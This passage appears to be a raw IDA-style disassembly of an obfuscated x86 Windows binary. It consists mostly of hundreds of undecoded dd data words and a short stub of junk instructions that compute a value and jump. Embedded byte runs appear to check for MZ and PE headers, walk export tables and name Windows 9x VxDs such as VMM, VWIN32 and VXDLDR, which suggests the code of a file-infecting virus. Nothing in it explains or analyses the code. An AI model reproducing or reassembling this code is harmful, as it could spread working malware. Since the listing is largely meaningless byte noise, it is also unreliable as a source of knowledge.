		dd 198D895Ah, 64061F24h, 35FFh,	0FE90000h, 0A7000000h
		dd 0EBC3322Ch, 58D5CC7Ah, 0A090F23h, 896437ADh,	25h, 9D896000h
		dd 61F2735h, 0DDE18151h, 5B03DBB2h, 0CC858D61h,	6A062291h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0C49CC351h, 1F24A56Ah, 992972Ah, 1F13E5BDh
		dd 1608906h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	53C35747h, 23FB6837h, 6085F740h, 0CD08166h, 558D8BB8h
		dd 61061F30h, 202585C6h, 6A4F061Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 8003C357h
		dd 72331368h, 12800FA2h, 50000000h, 890F52h, 0F000000h
		dd 8C0F31h, 5A000000h, 24348158h, 5CBA4739h, 12E95360h
		dd 45000000h, 49183CD7h, 1CAEBF96h, 67E2844Dh, 938D3DACh
		dd 0FF61595Eh, 1F3271B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0E9BBA400h
		dd 0Ah,	0ABFA7B0Fh, 0BA24FAAAh,	858D7086h, 6227993h, 6820Fh
		dd 95890000h, 61F1485h,	6AD0FFh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0F78271C3h, 70A5FED7h
		dd 3D95016Ah, 60061F11h, 0C8EE8166h, 611EB1B7h,	8FE9h
		dd 1830F00h, 0F8000000h, 0C245C8Bh, 0E855h, 815D0000h
		dd 22914EEDh, 0D9858B06h, 89061F20h, 1F327185h,	51858B06h
		dd 89061F2Ch, 1F2A7985h, 0E5858B06h, 89061F1Bh,	1F136D85h
		dd 2585C606h, 61F20h, 7AB385C7h, 622h, 858D0000h, 62291CCh
		dd 0B88389h, 335D0000h,	5160C3C0h, 8E95Ah, 61F50000h, 123514B2h
		dd 6A61385Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0E969C355h, 0BD981E4Bh, 12FF74BCh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0E5992836h, 0B99D8B60h, 0E9061F31h, 5, 729BAC45h
		dd 8F64616Fh, 5, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0FF00658h, 1380h, 0EE900h
		dd 7A10000h, 0A1FF670Bh, 994D9BFDh, 0CF7BE250h,	6004C483h
		dd 9E9h, 0AFDC9600h, 595516CDh,	0B70F9E37h, 0EB6161D8h
		dd 5FFDA704h, 5F4E934h,	0C9E30000h, 0A8FDC138h,	8E1CE057h
		dd 7138FC73h, 5353178Eh, 31EB37AEh, 10877A2Ch, 31A8674Ch
		dd 4FC63B6Dh, 6CE31C8Bh, 0A67E2AA3h, 3919B10Fh,	62458E01h
		dd 4F570B9Dh, 0EEAE3BB2h, 946D3BBAh, 92B65EF0h,	0B965C5E2h
		dd 1FD3A1E1h, 0A31CC074h, 0BEBBC2E3h, 0A8073C7Fh, 489BC165h
		dd 0A662E66Ch, 2EE27498h, 40F48679h, 0FE089A65h, 0F5B26F6Fh
		dd 4606930Ah, 0CD7DA160h, 77AD26DBh, 17D05F8Ah,	0FA719546h
		dd 168F7236h, 2DD95156h, 1FD36C55h, 0FE9034E8h,	0FC03A656h
		dd 219246D8h, 4BCA5CEEh, 0E71A8E93h, 4FBAC70h, 6CFDD272h
		dd 96131FD3h, 0AE5AD769h, 1FD36CD6h, 0A205B569h, 17A95651h
		dd 2F39CB6Fh, 0C2EF3EA0h, 7BB1A737h, 1FA4F9C6h,	63F91D0Ah
		dd 0F094F016h, 96B7h, 62454400h, 0A1441CC8h, 17D71FD3h
		dd 0A7CD718Eh, 0CE72AEC4h, 0D6680CF5h, 0D2D86436h, 6E70FB1Fh
		dd 94758CCDh, 121F0h, 45AE0000h, 66269F60h, 832BBD44h
		dd 8C19CD5Fh, 0C571FA73h, 1FD3A1EDh, 5CA6CC80h,	390FD827h
		dd 5AD7698Dh, 1D4D25D1h, 2CE01FD3h, 27605306h, 4D711A4Bh
		dd 61F30C9Dh, 0ADF9FAADh, 761AC254h, 877A30E4h,	0E8F671F5h
		dd 0EE926F39h, 9C8559E8h, 44BBEA09h, 426529A0h,	0A058773Bh
		dd 0D3421CF4h, 0D5FBAF1Fh, 0EBBE44CAh, 36DA8214h, 45A41B92h
		dd 5A0EA061h, 9E22B44Bh, 679DBB23h, 329B159Fh, 5E0E3293h
		dd 8F9AD48h, 18E7C276h,	9559D074h, 946C1812h, 271FD2C6h
		dd 893DCF73h, 0EC4EE021h, 0FFCA716Dh, 2EF09461h, 0BCh
		dd 0A06145BBh, 487CF127h, 0BE002CFEh, 0DB8315ECh, 0CD811337h
		dd 889224DDh, 0EA73E5F9h, 0D2D4663Eh, 2145F91Fh, 55CC3571h
		dd 629D08C8h, 540428D0h, 0F906A352h, 0BD46C355h, 0D2D43911h
		dd 0F418CC1Fh, 89A6544h, 19AB5654h, 756BF1EFh, 0E696AA46h
		dd 2CB042CDh, 0A2002DB1h, 4980BB23h, 4F09436h, 799D6444h
		dd 95E0h, 67215700h, 0A9000339h, 4569CCF0h, 910EA061h
		dd 9A2CD5D1h, 9D41C0E6h, 0A0DFC979h, 0CEACA50Ch, 0D6680C85h
		dd 36708322h, 0E19527CBh, 2AA739C6h, 0D39CA67Eh, 7F85391Fh
		dd 95BDEEF0h, 5B4F5501h, 0E16EA94Dh, 36719221h,	0EB9325C9h
		dd 8F924CC7h, 0FC73EA17h, 269F6045h, 99BD4466h,	0A1926707h
		dd 1A81FD3h, 0EDB86CFEh, 6FEE8012h, 691BE6Fh, 4BF780D8h
		dd 1FD3A173h, 0A1421AC6h, 21D51FD3h, 0DBB35FE8h, 6E1FD3A1h
		dd 5CF216BAh, 0F094BC1Dh, 1B0h,	65453D00h, 59EB1690h, 5AA701B1h
		dd 0EA7C20C8h, 0FC8E7136h, 2EF3EB6Ah, 0FD0F037Ch, 74CC96Bh
		dd 360AE28Eh, 0E99D1FD3h, 0D067CE45h, 1C0E44BDh, 62EC9852h
		dd 0A551CAEEh, 15F08344h, 827F29E9h, 98773CF0h,	0B692CEF4h
		dd 3B563D96h, 56510597h, 367030A9h, 748D1BCBh, 9F163AE2h
		dd 0A133CCDBh, 0F27C2F01h, 8F644325h, 0B446EA17h, 0CA5CB300h
		dd 825B938h, 81A03ECDh,	4CBC5726h, 49DB2BBAh, 3D6A2EA5h
		dd 2B7C30C2h, 0D5255BD4h, 88A265DEh, 189C2E52h,	926A169Fh
		dd 2525F21Ah, 0CD24D71h, 0F66D9215h, 753B0D4Ch,	13CA009h
		dd 0A22D0000h, 0FE870095h, 0A3126B3Eh, 8A062FD8h, 0E27EA246h
		dd 15F04C1Dh, 7D55018Ah, 1025F24Ch, 8AC6350h, 65F7ABE4h
		dd 9209F6B1h, 8D1AD9CEh, 2CBE4166h, 0AA3CE084h,	0BC4EB1F6h
		dd 21BD38h, 54E158A7h, 58EA1594h, 0A3F68CB0h, 4A0975E9h
		dd 59h,	0EDBC7CD7h, 9A9BEE12h, 6AD27EF7h, 0DD1FD3A3h, 0D2768B1Dh
		dd 0A2C8A040h, 0C1E41FD3h, 2482AC3Eh, 7D4E50E0h, 0E60D9C4Ch
		dd 7AF41C0h, 881DD163h,	627CF777h, 0DB038ECBh, 86FF92A3h
		dd 0D46172DAh, 0BA31E51Fh, 0A18Bh, 6A3EFE00h, 3FE31C8Bh
		dd 54AFC619h, 5B7F177Dh, 0F495A2F8h, 169D4DB4h,	30DC55F9h
		dd 15F0BAA7h, 22D6681Ch, 41017A85h, 5F079966h, 0A700C43Bh
		dd 13A9DF58h, 235CA7A0h, 6A6385Ch, 25F32837h, 6EB32BBAh
		dd 0E84FC639h, 38C13A4Fh, 42D43B78h, 2826FE9Ah,	5B925F3h
		dd 310935DFh, 4165C567h, 5FAF1CC8h, 0F62C1C13h,	83E16D95h
		dd 4B029A1h, 2C15212Ch,	0D5670BBFh, 386D8621h, 0FF9123C7h
		dd 17205E80h, 0B070F972h, 0CF7709F8h, 1BDE9FA9h, 0B2D654D6h
		dd 360CA916h, 7F26E622h, 6F235C80h, 95A281F8h, 6EDB8700h
		dd 0AB15F435h, 0B547C8EBh, 27B0E90Dh, 0F634A37Bh, 32763625h
		dd 0F5872BCFh, 22996641h, 0AA495Eh, 23C76F01h, 45BCEAAAh
		dd 5EF01195h, 600092B6h, 0CFD159B0h, 5107D766h,	58EA1791h
		dd 56FA05A4h, 0DA258232h, 542CD861h, 0E7587399h, 0D4980F33h
		dd 778A20D3h, 7993DE5h,	17A95653h, 28BA4763h, 38CA3574h
		dd 0EE3F9F2Eh, 24FDE160h, 41057C83h, 0E8079966h, 1Eh, 1C0E9B5Bh
		dd 73999870h, 0D3772B58h, 0B7739941h, 0ECD0C3A9h, 7C99FC20h
		dd 0F115ECBCh, 67453CA3h, 5354089Ah, 42661AACh,	3A792DBFh
		dd 178F43D5h, 2A458EAh,	0F0B96DFFh, 0E1C97D0Fh,	0CBDA8E20h
		dd 5386A234h, 0C3815B54h, 4, 8704EB83h
		db 1Ch,	24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	742Fh
		mov	[esp], ebx
		push	esi
		push	eax
		mov	eax, 286E09B2h
		add	eax, 0E922F70Dh
		mov	esi, eax
		pop	eax
		dec	esi
		xor	esi, 17B392DCh
		mov	ecx, esi
		pop	esi
		push	10D9h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	ecx
		push	ebp
		mov	ebp, 39971730h
		sub	[esp+4], ebp
		pop	ebp
		pop	dword ptr [ebx+8]
		add	dword ptr [ebx+8], 39971730h
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_535A7A
; ---------------------------------------------------------------------------
		dw 0A90Bh
		dd 0B7B8561Ch, 3062297h, 8CE0FFC5h, 4E5E5377h, 86AFC13h
		dd 5569B16Bh, 0DB3E6904h, 4D10ACC3h, 592CDEA7h,	7F23A259h
		dd 9272D7DBh, 1F3194C4h, 881B58B0h, 9F2FEFBEh, 0BF7AF44Eh
		dd 312A6909h, 6A705127h, 806A3946h, 9F6796B7h, 27683226h
		dd 7A512391h, 0C0622534h, 0F65ABCA7h, 8B10918Fh, 0D5106BD0h
		dd 0E849BE2Fh, 10h, 0BDD19AD2h,	0ACFEACD2h, 6D16D5AAh
		dd 0E184BA32h, 0F1816660h, 0B70F6A35h, 8A5E61F7h, 0D6C681FDh
		dd 0B900005Dh, 7FC19B66h, 175268h, 36FF5A00h, 58AFC980h
		dd 81CEB70Fh, 8242A4E8h, 0F88B6602h, 0ED48C081h, 0C88B5785h
		dd 0E3F2C081h, 850F74C6h, 0Ah, 5E9h, 81909600h,	6890BF4h
		dd 58C0Fh, 0ABB90000h, 8151886Eh, 1C8A19EEh, 0AFC7812Bh
		dd 8100625Dh, 1C8A15C6h, 0DABF0F2Bh, 0A7850F4Ah, 0FFFFFFFh
		dd 582h, 9234BF00h, 83E90043h, 53000000h, 57565251h, 1C245C8Bh
		dd 4D3B8166h, 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h
		dd 850F4550h, 57h, 3785B8Bh, 8B1C245Ch,	74032473h, 8B561C24h
		dd 738B207Bh, 247C031Ch, 24740320h, 0C983FC20h,	5C8B41FFh
		dd 178B1C24h, 20245403h, 8A04C783h, 74C08402h, 75033A08h
		dd 0EB4243E8h, 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh
		dd 5F1C2444h, 5B595A5Eh, 330008C2h, 0FFF1E9C0h,	0CA8BFFFFh
		dd 464934EBh, 52474D53h, 4B562020h, 20202044h, 4D562020h
		dd 2020204Dh, 57562020h, 32334E49h, 58562020h, 52444C44h
		dd 2020h, 2 dup(0)
		dd 2FE90000h, 0F5000007h, 85C7F860h, 6229A06h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 95C35242h
		dd 8E0FFE7Fh, 12h, 0DE9h, 0AED46200h, 0D34A47EBh, 59572685h
		dd 0C68BD101h, 1830Fh, 0FF80000h, 13E9D8B7h, 0
		dd 39C6350h, 0E563A767h, 7542B4EBh, 4BBB9759h, 0C1F9C2F0h
		dd 6A10E8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 6C3F42C3h, 0BD2E0F12h, 66FCB9D9h,	6008C8C1h
		dd 0BECEB70Fh, 0ACFBB0Ch, 0A858961h, 6A06229Ah,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 194FC357h, 326960F0h, 0F560DAFEh, 2870Fh, 5E530000h
		dd 0CBC16661h, 8F0F6008h, 2, 0D0819BB7h, 46B23FFEh, 40FB8361h
		dd 7F850Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 492FCFC3h, 0AC3008C3h, 0DEBD8D54h
		dd 6A062299h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 0A521C352h, 4C6A9529h,	1890F60h
		dd 0FC000000h, 1890F61h, 0F8000000h, 1BCE9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 7D3D5CD6h, 0DFB83CDh, 6D850Fh, 830F0000h, 0Ch, 68F0Fh
		dd 8D0F0000h, 0
		dd 12870Fh, 0DE90000h, 0A000000h, 0E7F23A96h, 0D503EAEDh
		dd 0CA603BB5h, 99E6BD8Dh, 6A0622h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 7D286C3h, 0AB84962h
		dd 13CE9h, 10850F00h, 0E9000000h, 0Bh, 9AEF649Dh, 0F334AB4Ch
		dd 839E1FF8h, 850F01FBh, 55h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0EFC35242h,	5580008Eh, 99D49363h
		dd 99EEBD8Dh, 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 55B80AC3h, 0CFE9F5h, 66600000h
		dd 0DE8BF38Bh, 2AFB8361h, 8E850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 3C1BBCC3h
		dd 2DD0C1FCh, 0E98F00A3h, 14h, 0FDD9B978h, 0AB40C783h
		dd 1F5B8E18h, 2E510FDBh, 80CA04EFh, 8840Fh, 66600000h
		dd 8A8E97BEh, 0BD8D61C5h, 62299F6h, 40EA8160h, 564D2066h
		dd 0BE9h, 0F2E98E00h, 0C4120BB4h, 97175C10h, 8160615Fh
		dd 0A62633EEh, 880F574Ch, 0
aAs		db '[aé>',0
		db 2 dup(0), 0Fh
		dd 786h, 1850F00h, 0FC000000h, 0F27FB83h, 25C85h, 14E86000h
		dd 0B2000000h, 0CF7F2C02h, 0E65F68FBh, 0BBF8CFE6h, 37BE68Ah
		dd 8B3ADAB4h, 0E28058CEh, 0BD8D6101h, 62299FEh,	0EBD89F9h
		dd 6A06229Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 1844C355h, 8860FC1h, 0F000000h
		dd 288h, 66616000h, 0DE9C88Ch, 22000000h, 0B1ED0C7Dh, 85CE3219h
		dd 0FD8CFBF3h, 0E9600324h, 10h,	462BEC3Ch, 1AA9E1B8h, 0CB4DD57h
		dd 0FE015C1Ah, 3F08166h, 0C00A61F6h, 14C850Fh, 0F600000h
		dd 685h, 8D0F00h, 61000000h, 104FBE60h,	0B8667C0Fh, 8D610DB2h
		dd 229FF1B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 6FDE9525h, 40D7F907h, 6660A69Bh
		dd 0E381CF8Bh, 188FAB1Eh, 0EE961h, 22280000h, 0CF10AD2Dh
		dd 9382B582h, 77FC6A65h, 0A0CC858Bh, 6A0622h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0B4833CC3h
		dd 83480B5Ah, 11E950h, 60770000h, 0ED51CCB6h, 0B39E16A4h
		dd 8D37DEEDh, 89407695h, 840F2414h, 1, 4C010FF9h, 5AF5FE24h
		dd 8160FC60h, 2016E5C3h, 0DF8B665Bh, 83F56161h,	9E924C2h
		dd 7F000000h, 2F0C3787h, 687C2E4Ch, 0FC728966h,	1C880Fh
		dd 8B600000h, 13E9D7h, 6CDB0000h, 0DCD02AEEh, 0A4C18881h
		dd 617856Ah, 67BDC4C5h,	0CEC161F1h, 1870F10h, 0F8000000h
		dd 2728966h, 12E9h, 87FEA900h, 1A8E298Ch, 139D9F76h, 1BA20158h
		dd 0CDB021EAh, 15850F04h, 0F000000h, 0F80h, 0AE900h, 0BD480000h
		dd 0B0301CC3h, 0C79F6096h, 4DE9h, 800F6000h, 3,	0B4F78B66h
		dd 858B6153h, 622A0CCh,	0F1B58DF5h, 0F506229Fh,	4BA8858Dh
		dd 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 9E16A4C3h, 0FDEEDB3h, 180h, 0FFFCF800h, 8589FCD0h
		dd 6229A06h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0EDC35040h, 13E912h, 113C0000h,	6EF9FC94h, 5693C59Fh
		dd 9895E7AAh, 0AF677B7Ah, 6A61EEh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0DFA753C3h, 0A2A8277Dh
		dd 11E97Ch, 367D0000h, 7C1E87F0h, 5C865EF8h, 0DBA75CDh
		dd 0F2F4D29h, 181h, 858BF500h, 6229A06h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 0AEC35747h, 5546FE06h
		dd 0DD127AC9h, 6AC3F9C1h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0F76C352h, 189h, 0F960F500h
		dd 810F50h, 58000000h, 6A6061h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 3EAD5BC3h, 168D3EF5h
		dd 78A0Fh, 8D0F0000h, 1, 0CCBD83FCh, 622A0h, 8B850Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0E8606DC3h, 0Ah, 0F494A953h,	3B2ADB5Ch, 0FE972AFh, 3000000h
		dd 3DD78C95h, 0DB9E6EF6h, 0D98F3C3Ch, 66585C7Bh, 6061F18Bh
		dd 59C88B53h, 58A0Fh, 2ABA0000h, 6110743Eh, 0A0CC85C7h
		dd 13F0622h, 6A0001h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 2383B9C3h, 2800F60h, 60000000h
		dd 4ACB8061h, 0CE961h, 0F600000h, 0BB57FFBFh, 1BE3E745h
		dd 20CD615Ah, 0
		dd 3774C00Bh, 8B0C708Dh, 229A0EBDh, 8B906h, 75A60000h
		dd 0FA754922h, 8B30488Bh, 229A0A9Dh, 34583B06h,	0D38B157Fh
		dd 304D26Bh, 89018BCAh,	229A0685h, 8B04EB06h, 61C5EB00h
		dd 9A06858Bh, 0E9CF0622h, 0Bh, 1D80F83Eh, 45E2C20Dh, 6A3CB076h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 0BFD7C351h, 8B6660B9h, 0C08B61F3h, 13E8h
		dd 0FFDC8600h, 3A91A8CCh, 64CCFB33h, 0BE2E7E7Ch, 0DCE1D5C7h
		dd 5A75E980h, 8147CC80h, 5BC5C2h, 0C0BFF900h, 0E9000016h
		dd 6, 9C3D84Ch,	32FF91A6h, 8E9h, 899BF900h, 15BE0C18h
		dd 9E85E88h, 12000000h,	7D6B0A97h, 0F18FE45Bh, 9E857h
		dd 0D7BD0000h, 0C4F2D964h, 59493370h, 0C681585Bh, 41BF9BFh
		dd 0F681C78Bh, 45A3F7E1h, 0D38B6660h, 10E9h, 6FC0C900h
		dd 0B615E489h, 0F926AF6Fh, 0E7F8ABE0h, 0EE8161F3h, 3CF59AA6h
		dd 0DE14BA60h, 66573C76h, 5EDDEBBFh, 0F328961h,	288h, 83EE8A00h
		dd 0B70F04EAh, 1EF81C1h, 0F000000h, 0FFFF7985h,	816660FFh
		dd 0E9153CC2h, 5, 0A621C810h, 0E5E961B9h, 10000000h, 0DCFFEE4Dh
		dd 1D1F3271h, 0DD7A0E0Ah, 3733538Fh, 557D2F6Dh,	7F2D773Dh
		dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h
		dd 37335375h, 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6D171E57h
		dd 602075DFh, 20206020h, 2060E0E0h, 0F77B68ACh,	20A1E4A9h
		dd 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h, 60206020h, 20206020h
		dd 2060E0E0h, 0A335375h, 557D2F0Dh, 60206020h, 0A7286020h
		dd 50F0362Bh, 0B6F360D6h, 0F796A1EFh, 0E3A7B4E0h, 0F47192B8h
		dd 6DB9E9B3h, 602060F7h, 60206020h, 6DF72020h, 73351ADFh
		dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh,	7F2D773Dh
		dd 7DD77DD5h, 6DF73D57h, 73D575DFh, 3D577DD7h, 0D55FEDF7h
		dd 37335375h, 357D2F6Dh, 0E0A1Eh, 0A766C1A8h, 43F2FD54h
		dd 31E0A424h, 0CB5E9h, 0A5286800h, 73E90622h, 68FFFCDAh
		dd 622A631h, 0FCDA69E9h, 0A6F068FFh, 5FE90622h,	68FFFCDAh
		dd 622A7DAh, 0FCDA55E9h, 0A86C68FFh, 4BE90622h,	68FFFCDAh
		dd 622A932h, 0FCDA41E9h, 0AA6D68FFh, 37E90622h,	68FFFCDAh
		dd 622AB8Eh, 0FCDA2DE9h, 0AC8568FFh, 23E90622h,	68FFFCDAh
		dd 622AD8Fh, 0FCDA19E9h, 0AE4C68FFh, 0FE90622h,	0D2FFFCDAh
		dd 0ECB027DAh, 0BCF46B9h, 27EB629Fh, 42067D82h,	0DA269D64h
		dd 78891D20h, 99763D01h, 0B74A5E22h, 0D42B7C40h, 6F1B945Dh
		dd 19B0FE97h, 457FF22Ah, 8E0B9D62h, 8D1AD9CEh, 0FAAACE72h
		dd 1DDD56B9h, 3CE4768Bh, 0ED7C8618h, 887730F1h,	88DAA11h
		dd 0B2FAE38Fh, 0AF6F15F0h, 0D16307F8h, 0FC758A1Dh, 358541C6h
		dd 5B7FAB7Dh, 788720E4h, 167146E6h, 3CB725F3h, 0D7287FA2h
		dd 0F40B9C60h, 6F9AE62h, 96E7C074h, 868BA30Fh, 50E28641h
		dd 63F50C9Ch, 1914CA59h, 61C01E99h, 9842B946h, 974D9C1h
		dd 549ECh, 62457900h, 50570B9Dh, 66D138AFh, 0C0EF8E17h
		dd 0BC1D86B9h, 1A9337DBh, 0EFAB596Eh, 0CDE6A615h, 0E408B042h
		dd 0C565F7ABh, 25F1AAF1h, 3506D857h, 9754F64h, 2F89h, 95A21600h
		dd 0ECC78700h, 0A1CAA24Eh, 0A95D1FD3h, 0A7CB7305h, 80DD822Eh
		dd 0D68A15F0h, 0C0D0A444h, 0B73625F2h, 5D451427h, 0E2680974h
		dd 0F5000000h, 0B9D6245h, 8159058Eh, 141FD3A1h,	1A8C3C60h
		dd 0F8AE6EE7h, 0C557A8FDh, 0C355791Dh, 7FE5980Fh, 0E178FBFFh
		dd 0C542D478h, 0AF592B8Fh, 5B7FC579h, 8A03FCABh, 9224DBCAh
		dd 956C3AEAh, 0C0375B03h, 0D2E10B10h, 9966411Fh, 0B6495E22h
		dd 8DEB073Dh, 98EF908Fh, 0AC8BE274h, 0AC535414h, 0FED6721Ah
		dd 911FD2F2h, 14C039DDh, 15F0029Bh, 78057C30h, 320D4642h
		dd 0D8FCB7FEh, 66DFB285h, 138B82BAh, 0E861151Ch, 7778FBB2h
		dd 9B53472h, 2C142931h,	486C10C4h, 6A970FCFh, 8A772FF3h
		dd 6C480123h, 726BCFAh,	9D2h, 0FB728F1Dh, 1A916E37h, 36AD5456h
		dd 51C83772h, 71E8198Dh, 44626B25h, 318246BDh, 5A367DEh
		dd 0E6C185FCh, 60D9A219h, 0B0FCDCB4h, 0C4376F19h, 29A06145h
		dd 46BD4265h, 95A2CFh, 8136DB87h, 2FE315F0h, 0C229FD9Dh
		dd 128F25F2h, 0FAAA5552h, 0B42F53AEh, 396E2E2Ah, 138C34C6h
		dd 0F2C18F67h, 4A6E2225h, 745CE5B4h, 0F39F2809h, 25F2CE1Bh
		dd 0A17925AEh, 3425F2CDh, 0B763DC80h, 25F2CDDFh, 19ABE72h
		dd 0C9h, 9162458Eh, 0B143E718h,	0DF58A9FDh, 0D36327A9h
		dd 1C409FB0h, 6E5EA8Ah,	8C1B1FD3h, 6F38FC73h, 90A7FE90h
		dd 5F4E84FDh, 1A02DB14h, 49B8F2A2h, 0ED23AC25h,	169199D1h
		dd 56F216E6h, 15EFD9DDh, 0E047BE72h, 30B93257h,	0A5C93870h
		dd 1345A609h, 269F531Ch, 0EFB64D66h, 32D67E10h,	0D60C950Eh
		dd 7AF03A64h, 0CD5A8000h, 0F3AB6913h, 297D2D51h, 99D61D8h
		dd 0F3A591F8h, 8A20FA13h, 8C96Bh, 69981400h, 88772EF2h
		dd 0A45D4D11h, 0BF40692Dh, 0DF228448h, 5B621C68h, 7B3FB64Bh
		dd 9C60D738h, 0BA7EF50Ch, 0D29B12EDh, 0FBD5AD59h, 306819B0h
		dd 0A06145BDh, 0CDDC9C29h, 0EC7E8126h, 0B8F0A044h, 0EB0FB749h
		dd 1C936C3Bh, 9D6245A5h, 0AF50570Bh, 0BBEBAB38h, 0E80CB446h
		dd 0F93E92DEh, 3FE31E88h, 81611AC6h, 6DF615F0h,	0F2C1E9C1h
		dd 24C87C25h, 0F637F191h, 7FB8243Ah, 60E5910Ah,	0D1AD82Ah
		dd 8820E059h, 6CC35579h, 0C44DC6CBh, 7AA9FE8Eh,	2D861B54h
		dd 7E1A3EE2h, 20FC011Bh, 0DB9B14C8h, 2FBC33CCh,	27CA53F9h
		dd 0A72985h, 21C56DFFh,	0A55A4DFDh, 45D003Eh, 0E2DC3E7h
		dd 80Ah, 33AA5755h, 52C9366Fh, 6EE51C8Eh, 8900FFAAh, 0A920E1C5h
		dd 0C9AA35Dh, 0F9BA7EF5h, 0CDDB9F16h, 0AEF9BD34h, 9811DA51h
		dd 0B0FC14ECh, 0FC6FA719h, 0B9D6245h, 950E83B4h, 9C2ED3D5h
		dd 0AB57D0F4h, 15F0ABAEh, 8D80D50Bh, 70BB933Fh,	9A4E25F3h
		dd 35B5A774h, 0AD24D811h, 239CF146h, 3EEA5063h,	25F32C66h
		dd 7DA145F9h, 8F905804h, 4F031C13h, 6E9116D6h, 8B7433F7h
		dd 0F495A2F9h, 0F3CB77B3h, 862C15CFh, 9B52ED2h,	2C15CF31h
		dd 0F36C10C4h, 100AA6Ah, 15CF8D65h, 486C202Ch, 317823CFh
		dd 0BFF52236h, 0FD40ABBAh, 4BB4F324h, 0BD6D11B9h, 0F77014EDh
		dd 0FD8F7037h, 0F8B83155h, 57F1CEAFh, 477CB575h, 3F682CA3h
		dd 7BB12EC0h, 8CF73A7Bh, 0D5284C81h, 0AB62F62h,	28554B55h
		dd 43C72EE2h, 42EEAF27h, 7208DACh, 416B0000h, 208549C0h
		dd 6A468DFh, 0E9C084FBh, 0CBDB9F16h, 0B973BF36h, 980FF2B4h
		dd 0B930DFD4h, 0D74EB3F5h, 0F46B9413h, 2E06B22Bh, 0C119B0FAh
		dd 95A21689h, 28DB8700h, 0B515F404h, 0DFC88801h, 0C2E5A920h
		dd 7EDFE0BBh, 0DB1534Bh, 2DD50B94h, 739A2D1Eh, 56663EDAh
		dd 0C3F925F6h, 0FBD7121Bh, 395D0116h, 57F42AA7h, 0EC652342h
		dd 1B1C6F93h, 0EB74FD76h, 0F5D3673Fh, 0DB248325h, 0B468A149h
		dd 0DDF7F490h, 0E0941C12h, 6DF46F79h, 3554EAFAh, 68Eh
		dd 0B72ED3D9h, 0D64DB2F3h, 0F2699812h, 0D847B2Eh, 2DA45D49h
		dd 881E27E1h, 753E0279h, 495F239Ah, 2A7D41B8h, 1C955ED5h
		dd 0B0F99870h, 80F32B19h, 870095A2h, 0F2236851h, 0C9ED63EFh
		dd 0E1DCA450h, 4F0F15F3h, 6E16A859h, 0D6DB114Ah, 0B458542Fh
		dd 0B43DB65Ah, 0BC4EB1F4h, 6740F014h, 973F17C3h, 1ED225F6h
dword_5685C8	dd 0CC78017Ah, 25F697F4h, 38AFD387h, 0E14A3374h, 83D35D58h
		dd 0D4AC58D1h, 6725F626h, 267D0FB3h, 57037C11h,	1C1688ACh
		dd 3CFC7529h, 0E20F126Bh, 0C95BA401h, 26BFFB21h, 5E22993Dh
		dd 7D3DB649h, 29E6CD36h, 0B94BEF97h, 45BED11h, 39E55E33h
		dd 2235F884h, 0E6F65D11h, 5DE44859h, 5C8A8C7h, 99130000h
		dd 782DF168h, 5E4C1087h, 41682CA3h, 238347BEh, 611B67DEh
